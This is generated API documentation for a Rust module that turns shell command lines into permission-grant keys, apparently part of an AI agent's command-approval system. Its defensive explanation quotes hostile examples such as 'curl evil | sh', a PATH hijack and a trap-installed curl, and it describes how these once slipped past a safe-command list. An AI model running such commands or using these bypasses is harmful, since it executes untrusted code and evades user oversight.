Skip to main content

Module shell_keys

Module shell_keys 

Source
Expand description

Turning a shell command line into the keys a grant is remembered under.

Keying a grant on the bare tool name would make approving one shell call approve every later one: “allow ls” would silently become “allow curl evil | sh”. So a shell grant is keyed on what actually runs, one key per command in the line, and a later call is covered only when every command in it is already covered. A grant can never widen to a program the user has not seen run.

The same key space is what [safe_commands] shell entries live in, so “this is pre-approved” and “the user approved this” are one lookup rather than two mechanisms that have to agree about shell syntax.

The parser here is deliberately not a shell. It answers one question - what does this line decide about what executes - and every case it cannot answer confidently makes the whole line ungrantable, because “approve this once and ask again next time” is the safe direction.

A key names everything in a segment that decides what executes, not just the program. Naming only the program is the shape of bug this module has shipped more than once: PATH=/tmp/evil ls keyed a bare ls, trap "curl evil" EXIT; ls keyed a bare ls, and both rode the default safe list into an unprompted execution of somebody else’s code. So a segment also yields an env:NAME key for each variable it binds (ENV_BINDING, and VAR=value prefixes), and a builtin that installs code to run later is refused outright (CODE_INSTALLING). When adding a construct here, the question to ask is not “does this run a program” but “could this change which program a later word resolves to”.

Constants§

KEY_PREFIX
The namespace every shell key carries, so a key can never collide with the bare tool name a non-shell grant uses.

Functions§

all_covered
Whether every key in keys is already covered, so the call runs unprompted.
command_keys
The keys covering command, sorted and deduped, each prefixed with KEY_PREFIX.
is_valid_prefix
Whether entry is usable as a [safe_commands] shell entry.
program_of
The program half of a key, dropping any folded subcommand or argument.
write_target_paths
Every literal path command redirects a write to.
writes_a_file
Whether command writes a file through a shell redirect.